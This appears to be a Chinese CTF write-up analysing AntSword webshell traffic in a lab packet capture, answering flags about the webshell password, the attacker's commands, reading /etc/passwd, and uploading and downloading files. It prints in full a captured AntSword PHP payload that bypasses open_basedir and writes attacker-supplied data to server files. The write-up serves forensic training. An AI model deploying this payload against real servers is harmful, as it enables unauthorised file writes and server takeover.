玄机第六章蚁剑流量分析

蚁剑流量特征:

  1. ni_set(display_errors)
  2. 流量包内url编码
  3. 其命令语句base64编码,16进制编码
  4. 含有antword特征词

 

flag1:木马的连接密码是多少

拿到数据包,过滤出http协议,序号排序,点开http协议包 1=xxx,1为密码

flag2:黑客执行的第一个命令是什么

点开第一个数据包,base64编码语句进行解码

注意:base64解码,分组2字符,前两个字符为蚁剑混淆字符,解密不用带

与响应包报文比较

返回结果的第一个命令为id

flag3:黑客读取了哪个文件的内容,提交文件绝对路径

依次查看第二个请求包命令及其响应报文,无果,继续往下查看

查看第三个报文发现hacker读取/etc/passwd

flag4:黑客上传了什么文件到服务器,提交文件名

第4个请求包解码出

继续往下看响应包

发现第5个响应包比第二个响应包多了flag.txt文件

所以flag4就是flag.txt

flag5:黑客上传的文件内容是什么

继续往下看报文看不出文件内容,既然flag.txt是请求包4发送的,那我们着重分析其数据包,追踪http流

分析其payload

1=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.368479785";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "6960"."cb205";echo @asenc($output);echo "1e0a"."91914";}ob_start();try{$f=base64_decode(substr($_POST["t41ffbc5fb0c04"],2));$c=$_POST["ld807e7193493d"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();&ld807e7193493d=666C61677B77726974655F666C61677D0A&t41ffbc5fb0c04=0ZL3Zhci93d3cvaHRtbC9mbGFnLnR4dA==
这段PHP代码是一个典型的Web Shell,它允许攻击者通过HTTP POST请求执行任意代码或写入文件。Web Shell是黑客常用的工具,用于控制服务器,执行命令或窃取数据。下面是对这段代码的详细分析:

1. 初始设置
@ini_set("display_errors", "0");:关闭PHP的错误显示,使攻击行为更隐蔽。
@set_time_limit(0);:移除脚本执行的时间限制。
接下来,代码尝试绕过open_basedir限制,这是一个PHP配置选项,用于限制文件操作的基础目录。
2. 绕过open_basedir
通过获取当前工作目录和open_basedir的值,尝试找到一个可写的目录,然后在这个目录下创建一个临时目录(.368479785),并尝试将其作为新的工作目录。
成功后,修改open_basedir为".."(上一级目录),然后逐步返回到根目录(通过多次@chdir("..")),最后重新设置open_basedir为"/"(根目录),并删除临时目录。
3. 执行任意代码或写入文件
try-catch块中,代码从POST请求的t41ffbc5fb0c04参数中接收一个base64编码的文件路径,从ld807e7193493d参数中接收经过URL编码的字符串(通常是PHP代码或数据)。
将URL编码的字符串解码,然后尝试以追加模式("a")打开指定的文件,并将解码后的内容写入该文件。
如果写入成功,返回"1";否则返回"0"。
4. 输出和清理
asoutput()函数捕获缓冲区中的内容(可能是执行结果或错误信息),进行一些处理(在这个例子中,只是简单地返回),然后清理输出缓冲区。
注意到echo "6960"."cb205";和echo "1e0a"."91914";这样的代码片段可能是为了混淆或添加额外的输出,但在这种情况下,它们并不执行任何有意义的操作。

重点

ld807e7193493d=666C61677B77726974655F666C61677D0A
t41ffbc5fb0c04=0ZL3Zhci93d3cvaHRtbC9mbGFnLnR4dA==

尝试进行解密

flag6:黑客下载了哪个文件,提交文件绝对路径

查看第6个请求包和响应报文,发现很像,太像了,读取config.php操作

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值